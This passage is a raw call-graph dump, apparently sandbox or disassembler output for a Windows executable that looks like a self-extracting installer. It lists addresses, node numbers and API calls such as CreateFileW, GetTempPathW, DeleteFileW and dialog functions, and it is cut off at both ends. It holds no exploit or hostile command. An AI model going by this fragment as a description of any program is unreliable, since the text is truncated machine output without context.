16651 7ff7b1dd7098 16461->16651 16462->16421 16463->16457 16469 7ff7b1de5c89 Sleep 16463->16469 16468->16440 16469->16457 16469->16463 16476 7ff7b1dd123e 16475->16476 16477 7ff7b1dd12a4 16475->16477 16476->16477 16693 7ff7b1dd5d20 16476->16693 16477->16308 16479 7ff7b1dd1263 16479->16477 16480 7ff7b1dd1278 GetDlgItem 16479->16480 16480->16477 16481 7ff7b1dd128b 16480->16481 16481->16477 16482 7ff7b1dd1292 SetWindowTextW 16481->16482 16482->16477 16484 7ff7b1dd612b 16483->16484 16849 7ff7b1dd5164 16484->16849 16487 7ff7b1dd6190 LoadStringW 16488 7ff7b1dd61be 16487->16488 16489 7ff7b1dd61a9 LoadStringW 16487->16489 16488->16369 16489->16488 17345 7ff7b1de53a0 PeekMessageW 16490->17345 16493 7ff7b1de78f7 SendMessageW SendMessageW 16495 7ff7b1de793d 16493->16495 16496 7ff7b1de7958 SendMessageW SendMessageW SendMessageW 16493->16496 16494 7ff7b1de78a9 16499 7ff7b1de78b5 ShowWindow SendMessageW SendMessageW 16494->16499 16495->16496 16497 7ff7b1de79c2 SendMessageW 16496->16497 16498 7ff7b1de799d SendMessageW 16496->16498 16500 7ff7b1de98e0 _handle_error 8 API calls 16497->16500 16498->16497 16499->16493 16501 7ff7b1de59ad 16500->16501 16501->16362 16628 7ff7b1de8004 16501->16628 16507 7ff7b1dd2f02 _snwprintf 16502->16507 16503 7ff7b1dd2fd7 16504 7ff7b1de98e0 _handle_error 8 API calls 16503->16504 16505 7ff7b1dd2ff4 16504->16505 16505->16387 16505->16388 16506 7ff7b1dd2fb1 16506->16503 16508 7ff7b1dd3388 16 API calls 16506->16508 16507->16503 16507->16506 16509 7ff7b1dd3011 16507->16509 17350 7ff7b1dd3388 16507->17350 16508->16503 17365 7ff7b1de9ae4 16509->17365 16513->16404 16515 7ff7b1dd3799 swprintf 16514->16515 17406 7ff7b1df0ec0 16515->17406 16519 7ff7b1dd2149 _snwprintf 16518->16519 16520 7ff7b1dd21aa CreateFileW 16519->16520 16521 7ff7b1dd21a4 16519->16521 16520->16521 16522 7ff7b1dd2223 16521->16522 16523 7ff7b1dd44c8 9 API calls 16521->16523 16526 7ff7b1de98e0 _handle_error 8 API calls 16522->16526 16524 7ff7b1dd21f1 16523->16524 16524->16522 16525 7ff7b1dd21f5 CreateFileW 16524->16525 16525->16522 16527 7ff7b1dd2256 16526->16527 16536 7ff7b1de5de6 16535->16536 16537 7ff7b1de6835 _snwprintf 16535->16537 16536->16458 17650 7ff7b1de50d4 16537->17650 16539 7ff7b1de775b 16540 7ff7b1de98e0 _handle_error 8 API calls 16539->16540 16540->16536 16541 7ff7b1dd9878 CompareStringW 16547 7ff7b1de68ae wcscat 16541->16547 16542 7ff7b1de50d4 9 API calls 16542->16547 16543 7ff7b1de706a GetTempPathW 16543->16547 16545 7ff7b1de526c 72 API calls 16545->16547 16547->16539 16547->16541 16547->16542 16547->16543 16547->16545 16548 7ff7b1de6d89 SetWindowTextW 16547->16548 16549 7ff7b1dd3774 swprintf 46 API calls 16547->16549 16550 7ff7b1df2c80 43 API calls 16547->16550 16553 7ff7b1de70d7 SetDlgItemTextW 16547->16553 16560 7ff7b1dd3ff0 11 API calls 16547->16560 16562 7ff7b1dd3120 11 API calls 16547->16562 16564 7ff7b1de71e8 EndDialog 16547->16564 16566 7ff7b1de51f0 SHGetMalloc 16547->16566 16567 7ff7b1de778a 16547->16567 16569 7ff7b1de7785 16547->16569 16575 7ff7b1dd3134 11 API calls 16547->16575 16577 7ff7b1de6d63 SendMessageW 16547->16577 16578 7ff7b1de6eeb __scrt_get_show_window_mode 16547->16578 16579 7ff7b1dd2ee4 20 API calls 16547->16579 17656 7ff7b1de4ec0 16547->17656 17675 7ff7b1de7c34 16547->17675 17699 7ff7b1de3fac GetCurrentDirectoryW 16547->17699 17700 7ff7b1dd475c 16547->17700 17704 7ff7b1dd3874 16547->17704 17712 7ff7b1dd37e0 16547->17712 17715 7ff7b1df2884 16547->17715 16548->16547 16549->16547 16550->16547 16553->16547 16555 7ff7b1de6ef4 SetFileAttributesW 16557 7ff7b1de6fb0 GetFileAttributesW 16555->16557 16555->16578 16558 7ff7b1de6fbe DeleteFileW 16557->16558 16557->16578 16558->16578 16560->16547 16561 7ff7b1dd3874 14 API calls 16561->16578 16562->16547 16563 7ff7b1dd3774 swprintf 46 API calls 16568 7ff7b1de6ff6 GetFileAttributesW 16563->16568 16564->16547 16566->16547 16572 7ff7b1de9ae4 8 API calls 16567->16572 16568->16578 16570 7ff7b1de9ae4 8 API calls 16569->16570 16570->16567 16574 7ff7b1de7790 16572->16574 16575->16547 16577->16547 16578->16547 16578->16555 16578->16557 16578->16561 16578->16563 17708 7ff7b1dd4398 16578->17708 16579->16547 16581 7ff7b1de7f88 wcscpy 16580->16581 17802 7ff7b1dd8260 16581->17802 16589 7ff7b1de7af4 _snwprintf 16588->16589 18282 7ff7b1de3f0c 16589->18282 16592 7ff7b1de7c09 16594 7ff7b1de98e0 _handle_error 8 API calls 16592->16594 16593 7ff7b1de7b19 GetWindow 16598 7ff7b1de7b34 16593->16598 16595 7ff7b1de5f51 16594->16595 16595->16318 16595->16319 16596 7ff7b1de7b40 GetClassNameW 18287 7ff7b1dd9878 CompareStringW 16596->18287 16598->16592 16598->16596 16599 7ff7b1de7be8 GetWindow 16598->16599 16600 7ff7b1de7b69 GetWindowLongPtrW 16598->16600 16599->16592 16599->16598 16600->16599 16601 7ff7b1de7b7b SendMessageW 16600->16601 16601->16599 16602 7ff7b1de7b97 GetObjectW 16601->16602 18288 7ff7b1de3f74 16602->18288 16604 7ff7b1de7bb3 18292 7ff7b1de3f3c 16604->18292 18296 7ff7b1de41fc 16604->18296 16608->16334 16610 7ff7b1de4623 16609->16610 16611 7ff7b1de4650 16609->16611 18316 7ff7b1dd9878 CompareStringW 16610->18316 16613 7ff7b1de4663 16611->16613 16614 7ff7b1de4655 SHAutoComplete 16611->16614 16616 7ff7b1de98e0 _handle_error 8 API calls 16613->16616 16614->16613 16615 7ff7b1de4634 16615->16611 16618 7ff7b1de4638 FindWindowExW 16615->16618 16617 7ff7b1de4673 16616->16617 16619 7ff7b1de2470 16617->16619 16618->16611 18317 7ff7b1de23ec 16619->18317 16621 7ff7b1de24a7 16622 7ff7b1dd9404 MultiByteToWideChar 16621->16622 16623 7ff7b1de24e8 16621->16623 16622->16623 16623->16351 16627 7ff7b1dd1155 16624->16627 16625 7ff7b1de98e0 _handle_error 8 API calls 16626 7ff7b1dd11d2 16625->16626 16626->16408 16627->16625 16629 7ff7b1de8014 _snwprintf 16628->16629 16630 7ff7b1de98e0 _handle_error 8 API calls 16629->16630 16631 7ff7b1de80ec 16630->16631 16631->16362 16633 7ff7b1dd3134 11 API calls 16632->16633 16634 7ff7b1dd3129 16633->16634 16634->16366 16634->16385 16636 7ff7b1de4a0d 16635->16636 16639 7ff7b1de4a40 GetLastError 16636->16639 16640 7ff7b1de4a7f 16636->16640 16641 7ff7b1de4a4f 16636->16641 16637 7ff7b1de98e0 _handle_error 8 API calls 16638 7ff7b1de4b60 16637->16638 16638->16366 16639->16640 16639->16641 16640->16637 16641->16640 16642 7ff7b1de4b44 16641->16642 16644 7ff7b1de4b20 CreateDirectoryW 16641->16644 16642->16640 16643 7ff7b1de4b4e LocalFree 16642->16643 16643->16640 16644->16642 16646 7ff7b1dd7016 16645->16646 16647 7ff7b1dd7033 16645->16647 16648 7ff7b1dd7050 78 API calls 16646->16648 16647->16431 16648->16647 16650 7ff7b1de5224 16649->16650 16650->16451 16652 7ff7b1dd70cc 16651->16652 16656 7ff7b1dd7120 16651->16656 16653 7ff7b1dd8438 10 API calls 16652->16653 16652->16656 16655 7ff7b1dd71ae GetCurrentProcessId 16656->16655 16659 7ff7b1dd7152 16656->16659 16667 7ff7b1de373d 16666->16667 16668 7ff7b1de3750 16667->16668 16669 7ff7b1df2884 31 API calls 16667->16669 16670 7ff7b1de3765 16668->16670 16672 7ff7b1df2884 31 API calls 16668->16672 16669->16668 16671 7ff7b1de3771 GetWindowRect 16670->16671 16674 7ff7b1de378c 16671->16674 16672->16671 16673 7ff7b1de3871 16675 7ff7b1de3876 ShowWindow 16673->16675 16676 7ff7b1de386f 16673->16676 16674->16673 16679 7ff7b1de3828 16674->16679 16675->16676 16677 7ff7b1de98e0 _handle_error 8 API calls 16676->16677 16679->16676 18339 7ff7b1de34d0 16679->18339 16685 7ff7b1de98e9 16684->16685 16686 7ff7b1de62da 16685->16686 16687 7ff7b1de9a10 IsProcessorFeaturePresent 16685->16687 16688 7ff7b1de9a28 16687->16688 18343 7ff7b1de9c04 RtlCaptureContext 16688->18343 16694 7ff7b1dd3774 swprintf 46 API calls 16693->16694 16695 7ff7b1dd5d7d 16694->16695 16718 7ff7b1dd96d0 WideCharToMultiByte 16695->16718 16697 7ff7b1dd5dfd 16720 7ff7b1dd4f18 16697->16720 16700 7ff7b1dd5f66 GetSystemMetrics GetWindow 16704 7ff7b1dd6095 16700->16704 16717 7ff7b1dd5f91 16700->16717 16701 7ff7b1dd5e77 16702 7ff7b1dd5f36 16701->16702 16703 7ff7b1dd5e80 GetWindowLongPtrW 16701->16703 16729 7ff7b1dd4fc4 16702->16729 16706 7ff7b1e48288 16703->16706 16705 7ff7b1de98e0 _handle_error 8 API calls 16704->16705 16709 7ff7b1dd60a4 16705->16709 16710 7ff7b1dd5f1e GetWindowRect 16706->16710 16708 7ff7b1dd5d8d 16708->16697 16715 7ff7b1dd5dde SetDlgItemTextW 16708->16715 16725 7ff7b1dd51f0 16708->16725 16709->16479 16710->16702 16713 7ff7b1dd5f59 SetWindowTextW 16713->16700 16714 7ff7b1dd5fb2 GetWindowRect 16714->16717 16715->16708 16716 7ff7b1dd6074 GetWindow 16716->16704 16716->16717 16717->16704 16717->16714 16717->16716 16719 7ff7b1dd9712 16718->16719 16719->16708 16721 7ff7b1dd4fc4 47 API calls 16720->16721 16724 7ff7b1dd4f57 16721->16724 16722 7ff7b1de98e0 _handle_error 8 API calls 16723 7ff7b1dd4fb4 GetWindowRect GetClientRect 16722->16723 16723->16700 16723->16701 16724->16722 16726 7ff7b1dd5212 16725->16726 16728 7ff7b1dd523a 16725->16728 16738 7ff7b1df11ec 16726->16738 16728->16708 16730 7ff7b1dd3774 swprintf 46 API calls 16729->16730 16731 7ff7b1dd5007 16730->16731 16732 7ff7b1dd96d0 WideCharToMultiByte 16731->16732 16733 7ff7b1dd501f 16732->16733 16734 7ff7b1dd51f0 31 API calls 16733->16734 16735 7ff7b1dd5037 16734->16735 16736 7ff7b1de98e0 _handle_error 8 API calls 16735->16736 16737 7ff7b1dd5047 16736->16737 16737->16700 16737->16713 16739 7ff7b1df121c 16738->16739 16743 7ff7b1df1231 16739->16743 16744 7ff7b1df4850 16739->16744 16743->16728 16750 7ff7b1df45d4 GetLastError 16744->16750 16747 7ff7b1deea00 16830 7ff7b1dee958 16747->16830 16751 7ff7b1df45fd 16750->16751 16752 7ff7b1df45f8 16750->16752 16756 7ff7b1df4646 16751->16756 16774 7ff7b1df6b24 16751->16774 16769 7ff7b1df6784 16752->16769 16758 7ff7b1df4655 SetLastError 16756->16758 16759 7ff7b1df464b SetLastError 16756->16759 16757 7ff7b1df461c 16781 7ff7b1df46e4 16757->16781 16761 7ff7b1df1226 16758->16761 16759->16761 16761->16747 16764 7ff7b1df463a 16792 7ff7b1df42e8 16764->16792 16765 7ff7b1df4623 16765->16759 16797 7ff7b1df6534 16769->16797 16772 7ff7b1df67c6 TlsGetValue 16773 7ff7b1df67b7 16772->16773 16773->16751 16778 7ff7b1df6b35 _invalid_parameter_noinfo_noreturn 16774->16778 16775 7ff7b1df6b86 16777 7ff7b1df4850 _set_fmode 14 API calls 16775->16777 16776 7ff7b1df6b6a HeapAlloc 16776->16778 16779 7ff7b1df4614 16776->16779 16777->16779 16778->16775 16778->16776 16807 7ff7b1df2cb4 16778->16807 16779->16757 16787 7ff7b1df67dc 16779->16787 16782 7ff7b1df46e9 RtlFreeHeap 16781->16782 16786 7ff7b1df4719 Concurrency::details::SchedulerProxy::DeleteThis 16781->16786 16783 7ff7b1df4704 16782->16783 16782->16786 16784 7ff7b1df4850 _set_fmode 13 API calls 16783->16784 16785 7ff7b1df4709 GetLastError 16784->16785 16785->16786 16786->16765 16788 7ff7b1df6534 __vcrt_uninitialize_ptd 5 API calls 16787->16788 16789 7ff7b1df680f 16788->16789 16790 7ff7b1df6829 TlsSetValue 16789->16790 16791 7ff7b1df4633 16789->16791 16790->16791 16791->16757 16791->16764 16816 7ff7b1df4268 16792->16816 16798 7ff7b1df6595 16797->16798 16802 7ff7b1df6590 16797->16802 16798->16772 16798->16773 16799 7ff7b1df6642 16799->16798 16801 7ff7b1df6650 GetProcAddress 16799->16801 16800 7ff7b1df65bd LoadLibraryExW 16800->16802 16803 7ff7b1df65de GetLastError 16800->16803 16804 7ff7b1df6661 16801->16804 16802->16798 16802->16799 16802->16800 16806 7ff7b1df6627 FreeLibrary 16802->16806 16803->16802 16805 7ff7b1df65e9 LoadLibraryExW 16803->16805 16804->16798 16805->16802 16806->16802 16810 7ff7b1df2cf4 16807->16810 16815 7ff7b1df64b8 EnterCriticalSection 16810->16815 16828 7ff7b1df64b8 EnterCriticalSection 16816->16828 16831 7ff7b1df45d4 _invalid_parameter_noinfo_noreturn 15 API calls 16830->16831 16832 7ff7b1dee982 16831->16832 16837 7ff7b1deea50 16832->16837 16838 7ff7b1deea5e 16837->16838 16841 7ff7b1dee7f4 16838->16841 16842 7ff7b1dee82e abort __scrt_get_show_window_mode 16841->16842 16843 7ff7b1dee856 RtlCaptureContext RtlLookupFunctionEntry 16842->16843 16844 7ff7b1dee8c6 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 16843->16844 16845 7ff7b1dee890 RtlVirtualUnwind 16843->16845 16847 7ff7b1dee918 abort 16844->16847 16845->16844 16846 7ff7b1de98e0 _handle_error 8 API calls 16848 7ff7b1dee937 GetCurrentProcess TerminateProcess 16846->16848 16847->16846 16856 7ff7b1dd5054 16849->16856 16852 7ff7b1dd51c9 16854 7ff7b1de98e0 _handle_error 8 API calls 16852->16854 16853 7ff7b1dd51f0 31 API calls 16853->16852 16855 7ff7b1dd51e2 16854->16855 16855->16487 16855->16488 16857 7ff7b1dd508a 16856->16857 16865 7ff7b1dd5120 16856->16865 16859 7ff7b1dd96d0 WideCharToMultiByte 16857->16859 16860 7ff7b1dd50b7 16857->16860 16858 7ff7b1de98e0 _handle_error 8 API calls 16861 7ff7b1dd5154 16858->16861 16859->16860 16864 7ff7b1dd50e6 16860->16864 16866 7ff7b1dd60c0 16860->16866 16861->16852 16861->16853 16863 7ff7b1df11ec 31 API calls 16863->16865 16864->16863 16865->16858 16867 7ff7b1dd60e5 swprintf 16866->16867 16870 7ff7b1df0c8c 16867->16870 16871 7ff7b1df0cd2 16870->16871 16872 7ff7b1df0cea 16870->16872 16874 7ff7b1df4850 _set_fmode 15 API calls 16871->16874 16872->16871 16873 7ff7b1df0cf4 16872->16873 16897 7ff7b1deeec0 16873->16897 16876 7ff7b1df0cd7 16874->16876 16877 7ff7b1deea00 _invalid_parameter_noinfo 31 API calls 16876->16877 16896 7ff7b1df0ce2 16877->16896 16878 7ff7b1df0d05 __scrt_get_show_window_mode 16905 7ff7b1deedc4 16878->16905 16879 7ff7b1de98e0 _handle_error 8 API calls 16880 7ff7b1dd6105 16879->16880 16880->16864 16885 7ff7b1df0d81 16887 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 16885->16887 16886 7ff7b1df0db0 16888 7ff7b1df0e08 16886->16888 16889 7ff7b1df0dbf 16886->16889 16890 7ff7b1df0e2c 16886->16890 16893 7ff7b1df0db6 16886->16893 16887->16896 16894 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 16888->16894 16892 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 16889->16892 16890->16888 16891 7ff7b1df0e36 16890->16891 16895 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 16891->16895 16892->16896 16893->16888 16893->16889 16894->16896 16895->16896 16896->16879 16898 7ff7b1deeed6 16897->16898 16899 7ff7b1deeedb 16897->16899 16898->16878 16899->16898 16924 7ff7b1df4540 GetLastError 16899->16924 16901 7ff7b1deeef8 16944 7ff7b1df4c18 16901->16944 16906 7ff7b1df4850 _set_fmode 15 API calls 16905->16906 16907 7ff7b1deee33 16906->16907 16908 7ff7b1def0c4 16907->16908 16909 7ff7b1def0e0 16908->16909 16910 7ff7b1def0f8 16908->16910 16911 7ff7b1df4850 _set_fmode 15 API calls 16909->16911 16910->16909 16920 7ff7b1def0ff 16910->16920 16912 7ff7b1def0e5 16911->16912 16913 7ff7b1deea00 _invalid_parameter_noinfo 31 API calls 16912->16913 16919 7ff7b1def0f0 16913->16919 16914 7ff7b1def2b2 16915 7ff7b1df4850 _set_fmode 15 API calls 16914->16915 16917 7ff7b1def2b7 16915->16917 16918 7ff7b1deea00 _invalid_parameter_noinfo 31 API calls 16917->16918 16918->16919 16919->16885 16919->16886 16920->16914 16920->16919 17019 7ff7b1def970 16920->17019 17035 7ff7b1def650 16920->17035 17057 7ff7b1deefc0 16920->17057 17060 7ff7b1def544 16920->17060 16925 7ff7b1df455d 16924->16925 16926 7ff7b1df4562 16924->16926 16927 7ff7b1df6784 _invalid_parameter_noinfo_noreturn 6 API calls 16925->16927 16928 7ff7b1df6b24 _invalid_parameter_noinfo_noreturn 15 API calls 16926->16928 16930 7ff7b1df45ab 16926->16930 16927->16926 16929 7ff7b1df4579 16928->16929 16931 7ff7b1df4581 16929->16931 16934 7ff7b1df67dc _invalid_parameter_noinfo_noreturn 6 API calls 16929->16934 16932 7ff7b1df45c6 SetLastError 16930->16932 16933 7ff7b1df45b0 SetLastError 16930->16933 16936 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 16931->16936 16952 7ff7b1df4100 16932->16952 16933->16901 16937 7ff7b1df4598 16934->16937 16939 7ff7b1df4588 16936->16939 16937->16931 16940 7ff7b1df459f 16937->16940 16939->16932 16941 7ff7b1df42e8 _invalid_parameter_noinfo_noreturn 15 API calls 16940->16941 16942 7ff7b1df45a4 16941->16942 16943 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 16942->16943 16943->16930 16945 7ff7b1deef1c 16944->16945 16946 7ff7b1df4c2d 16944->16946 16948 7ff7b1df4c4c 16945->16948 16946->16945 16995 7ff7b1df8d60 16946->16995 16949 7ff7b1df4c61 16948->16949 16950 7ff7b1df4c74 16948->16950 16949->16950 17007 7ff7b1df7878 16949->17007 16950->16898 16961 7ff7b1df7f98 16952->16961 16955 7ff7b1df4118 16957 7ff7b1df4121 IsProcessorFeaturePresent 16955->16957 16958 7ff7b1df414a abort 16955->16958 16959 7ff7b1df412f 16957->16959 16960 7ff7b1dee7f4 abort 14 API calls 16959->16960 16960->16958 16987 7ff7b1df7f50 16961->16987 16964 7ff7b1df7fe8 16965 7ff7b1df8015 16964->16965 16967 7ff7b1df8092 16964->16967 16966 7ff7b1df45d4 _invalid_parameter_noinfo_noreturn 15 API calls 16965->16966 16965->16967 16971 7ff7b1df802d 16965->16971 16966->16971 16970 7ff7b1df80fa 16967->16970 16992 7ff7b1df64b8 EnterCriticalSection 16967->16992 16969 7ff7b1df803a 16973 7ff7b1df4850 _set_fmode 15 API calls 16969->16973 16972 7ff7b1df8191 16970->16972 16978 7ff7b1df8143 abort 16970->16978 16993 7ff7b1df6518 LeaveCriticalSection 16970->16993 16971->16967 16971->16969 16986 7ff7b1df8049 16971->16986 16974 7ff7b1df8204 16972->16974 16994 7ff7b1df6518 LeaveCriticalSection 16972->16994 16975 7ff7b1df8085 16973->16975 16981 7ff7b1df4540 abort 35 API calls 16974->16981 16984 7ff7b1df821c 16974->16984 16974->16986 16979 7ff7b1deea00 _invalid_parameter_noinfo 31 API calls 16975->16979 16978->16972 16980 7ff7b1df4540 abort 35 API calls 16978->16980 16979->16986 16982 7ff7b1df817e 16980->16982 16981->16984 16983 7ff7b1df4540 abort 35 API calls 16982->16983 16983->16972 16985 7ff7b1df4540 abort 35 API calls 16984->16985 16984->16986 16985->16986 16986->16955 16988 7ff7b1df64b8 abort EnterCriticalSection 16987->16988 16989 7ff7b1df7f69 16988->16989 16990 7ff7b1df6518 abort LeaveCriticalSection 16989->16990 16991 7ff7b1df4109 16990->16991 16991->16955 16991->16964 16996 7ff7b1df4540 abort 35 API calls 16995->16996 16997 7ff7b1df8d6f 16996->16997 17005 7ff7b1df8dc1 16997->17005 17006 7ff7b1df64b8 EnterCriticalSection 16997->17006 17005->16945 17008 7ff7b1df4540 abort 35 API calls 17007->17008 17009 7ff7b1df7887 17008->17009 17010 7ff7b1df78a2 17009->17010 17018 7ff7b1df64b8 EnterCriticalSection 17009->17018 17012 7ff7b1df7928 17010->17012 17014 7ff7b1df4100 abort 35 API calls 17010->17014 17012->16950 17014->17012 17020 7ff7b1def9f7 17019->17020 17030 7ff7b1def99a 17019->17030 17021 7ff7b1defa7b 17020->17021 17022 7ff7b1def9fc 17020->17022 17083 7ff7b1deffb8 17021->17083 17025 7ff7b1defa61 17022->17025 17027 7ff7b1defa06 17022->17027 17024 7ff7b1def9d8 17034 7ff7b1defa84 _snwprintf 17024->17034 17067 7ff7b1df0418 17024->17067 17071 7ff7b1df0714 17025->17071 17032 7ff7b1def9e8 _snwprintf 17027->17032 17027->17034 17077 7ff7b1df0574 17027->17077 17030->17021 17030->17024 17030->17027 17031 7ff7b1def9ca 17030->17031 17030->17032 17030->17034 17031->17021 17031->17024 17031->17032 17032->17034 17091 7ff7b1df0948 17032->17091 17034->16920 17036 7ff7b1def674 17035->17036 17037 7ff7b1def65b 17035->17037 17039 7ff7b1df4850 _set_fmode 15 API calls 17036->17039 17049 7ff7b1def698 17036->17049 17038 7ff7b1def9f7 17037->17038 17037->17049 17050 7ff7b1def99a 17037->17050 17040 7ff7b1defa7b 17038->17040 17042 7ff7b1def9fc 17038->17042 17041 7ff7b1def68d 17039->17041 17044 7ff7b1deffb8 _snwprintf 43 API calls 17040->17044 17043 7ff7b1deea00 _invalid_parameter_noinfo 31 API calls 17041->17043 17046 7ff7b1defa61 17042->17046 17052 7ff7b1defa06 17042->17052 17043->17049 17054 7ff7b1def9e8 _snwprintf 17044->17054 17045 7ff7b1def9d8 17048 7ff7b1df0418 _snwprintf 37 API calls 17045->17048 17056 7ff7b1defa84 _snwprintf 17045->17056 17047 7ff7b1df0714 swprintf 31 API calls 17046->17047 17047->17054 17048->17054 17049->16920 17050->17040 17050->17045 17050->17052 17053 7ff7b1def9ca 17050->17053 17050->17054 17050->17056 17051 7ff7b1df0574 swprintf 31 API calls 17051->17054 17052->17051 17052->17054 17052->17056 17053->17040 17053->17045 17053->17054 17055 7ff7b1df0948 _snwprintf 37 API calls 17054->17055 17054->17056 17055->17056 17056->16920 17305 7ff7b1df48d0 17057->17305 17339 7ff7b1def5b8 17060->17339 17063 7ff7b1df4850 _set_fmode 15 API calls 17064 7ff7b1def5a5 17063->17064 17066 7ff7b1deea00 _invalid_parameter_noinfo 31 API calls 17064->17066 17065 7ff7b1def558 17065->16920 17066->17065 17069 7ff7b1df0434 _snwprintf 17067->17069 17068 7ff7b1df047d 17068->17032 17069->17068 17097 7ff7b1df4c04 17069->17097 17075 7ff7b1df073c swprintf 17071->17075 17072 7ff7b1df4850 _set_fmode 15 API calls 17073 7ff7b1df0745 17072->17073 17074 7ff7b1deea00 _invalid_parameter_noinfo 31 API calls 17073->17074 17076 7ff7b1df0750 17074->17076 17075->17072 17075->17076 17076->17032 17078 7ff7b1df0595 17077->17078 17079 7ff7b1df4850 _set_fmode 15 API calls 17078->17079 17082 7ff7b1df05e0 swprintf 17078->17082 17080 7ff7b1df05d5 17079->17080 17081 7ff7b1deea00 _invalid_parameter_noinfo 31 API calls 17080->17081 17081->17082 17082->17032 17084 7ff7b1deffd0 17083->17084 17119 7ff7b1deeaa0 17084->17119 17090 7ff7b1df010b 17090->17032 17092 7ff7b1df096f _snwprintf 17091->17092 17093 7ff7b1df09d5 _snwprintf 17091->17093 17092->17093 17094 7ff7b1df4c04 _snwprintf 37 API calls 17092->17094 17095 7ff7b1de98e0 _handle_error 8 API calls 17093->17095 17094->17092 17096 7ff7b1df0a0d 17095->17096 17096->17034 17100 7ff7b1df4a80 17097->17100 17101 7ff7b1df4aa3 17100->17101 17102 7ff7b1df4ada 17101->17102 17103 7ff7b1df4ac7 17101->17103 17114 7ff7b1df4aa8 17101->17114 17104 7ff7b1deeec0 swprintf 35 API calls 17102->17104 17105 7ff7b1df4850 _set_fmode 15 API calls 17103->17105 17106 7ff7b1df4aec 17104->17106 17107 7ff7b1df4acc 17105->17107 17108 7ff7b1df4b74 WideCharToMultiByte 17106->17108 17109 7ff7b1df4afb 17106->17109 17110 7ff7b1deea00 _invalid_parameter_noinfo 31 API calls 17107->17110 17112 7ff7b1df4b0d __scrt_get_show_window_mode 17108->17112 17113 7ff7b1df4bc8 GetLastError 17108->17113 17111 7ff7b1df4b57 __scrt_get_show_window_mode 17109->17111 17109->17112 17110->17114 17111->17114 17116 7ff7b1df4850 _set_fmode 15 API calls 17111->17116 17112->17114 17115 7ff7b1df4850 _set_fmode 15 API calls 17112->17115 17113->17111 17113->17112 17114->17068 17115->17114 17117 7ff7b1df4bf3 17116->17117 17118 7ff7b1deea00 _invalid_parameter_noinfo 31 API calls 17117->17118 17118->17114 17120 7ff7b1deeacd 17119->17120 17121 7ff7b1deeadc 17119->17121 17122 7ff7b1df4850 _set_fmode 15 API calls 17120->17122 17123 7ff7b1deead2 17121->17123 17161 7ff7b1df4870 17121->17161 17122->17123 17129 7ff7b1df56b8 17123->17129 17126 7ff7b1deeb1c 17128 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 17126->17128 17127 7ff7b1df46e4 Concurrency::details::SchedulerProxy::DeleteThis 15 API calls 17127->17126 17128->17123 17130 7ff7b1df56e5 17129->17130 17131 7ff7b1df56fd 17129->17131 17132 7ff7b1df4850 _set_fmode 15 API calls 17130->17132 17131->17130 17135 7ff7b1df5714 swprintf 17131->17135 17133 7ff7b1df56ea 17132->17133 17134 7ff7b1deea00 _invalid_parameter_noinfo 31 API calls 17133->17134 17144 7ff7b1df00ee 17134->17144 17137 7ff7b1df5768 17135->17137 17142 7ff7b1df5747 17135->17142 17136 7ff7b1df58a4 17285 7ff7b1df4ce8 17136->17285 17137->17136 17138 7ff7b1df586b 17137->17138 17140 7ff7b1df57e1 17137->17140 17143 7ff7b1df57a5 17137->17143 17147 7ff7b1df5797 17137->17147 17278 7ff7b1df5048 17138->17278 17211 7ff7b1df93d0 17140->17211 17168 7ff7b1df5574 17142->17168 17201 7ff7b1df543c 17143->17201 17144->17090 17154 7ff7b1deef50 17144->17154 17147->17138 17150 7ff7b1df57a0 17147->17150 17150->17140 17150->17143 17295 7ff7b1df2c54 17154->17295 17156 7ff7b1deef7c 17159 7ff7b1deef68 17159->17156 17299 7ff7b1df4724 17159->17299 17162 7ff7b1df48bb 17161->17162 17166 7ff7b1df487f _invalid_parameter_noinfo_noreturn 17161->17166 17164 7ff7b1df4850 _set_fmode 15 API calls 17162->17164 17163 7ff7b1df48a2 HeapAlloc 17165 7ff7b1deeb08 17163->17165 17163->17166 17164->17165 17165->17126 17165->17127 17166->17162 17166->17163 17167 7ff7b1df2cb4 _invalid_parameter_noinfo_noreturn EnterCriticalSection LeaveCriticalSection 17166->17167 17167->17166 17169 7ff7b1df55a2 17168->17169 17172 7ff7b1df55c0 17168->17172 17170 7ff7b1de98e0 _handle_error 8 API calls 17169->17170 17171 7ff7b1df55b7 17170->17171 17171->17144 17173 7ff7b1df4158 __std_exception_copy 31 API calls 17172->17173 17174 7ff7b1df5698 17173->17174 17174->17169 17175 7ff7b1df56a0 17174->17175 17176 7ff7b1deea50 _invalid_parameter_noinfo_noreturn 16 API calls 17175->17176 17178 7ff7b1df56b5 17176->17178 17202 7ff7b1df93d0 swprintf 31 API calls 17201->17202 17203 7ff7b1df5480 17202->17203 17204 7ff7b1df8e38 swprintf 31 API calls 17203->17204 17205 7ff7b1df54b9 17204->17205 17206 7ff7b1df54bd 17205->17206 17207 7ff7b1df551b 17205->17207 17208 7ff7b1df54df 17205->17208 17206->17144 17212 7ff7b1df941e fegetenv swprintf 17211->17212 17213 7ff7b1df948b 17212->17213 17215 7ff7b1df94b2 swprintf 17212->17215 17214 7ff7b1df4158 __std_exception_copy 31 API calls 17213->17214 17216 7ff7b1df94a5 17214->17216 17219 7ff7b1df94d1 17215->17219 17220 7ff7b1dfa680 17215->17220 17222 7ff7b1dfa661 17219->17222 17223 7ff7b1df94da 17219->17223 17221 7ff7b1df4158 __std_exception_copy 31 API calls 17220->17221 17279 7ff7b1df93d0 swprintf 31 API calls 17278->17279 17280 7ff7b1df5084 17279->17280 17281 7ff7b1df8e38 swprintf 31 API calls 17280->17281 17282 7ff7b1df50ba 17281->17282 17283 7ff7b1df50be 17282->17283 17284 7ff7b1df5118 swprintf 35 API calls 17282->17284 17283->17144 17284->17283 17286 7ff7b1deeec0 swprintf 35 API calls 17285->17286 17287 7ff7b1df4d35 17286->17287 17288 7ff7b1df4d56 17287->17288 17289 7ff7b1df4d40 17287->17289 17291 7ff7b1df5048 swprintf 35 API calls 17288->17291 17294 7ff7b1df4d51 __scrt_get_show_window_mode swprintf 17288->17294 17290 7ff7b1df4850 _set_fmode 15 API calls 17289->17290 17292 7ff7b1df4d45 17290->17292 17291->17294 17294->17144 17296 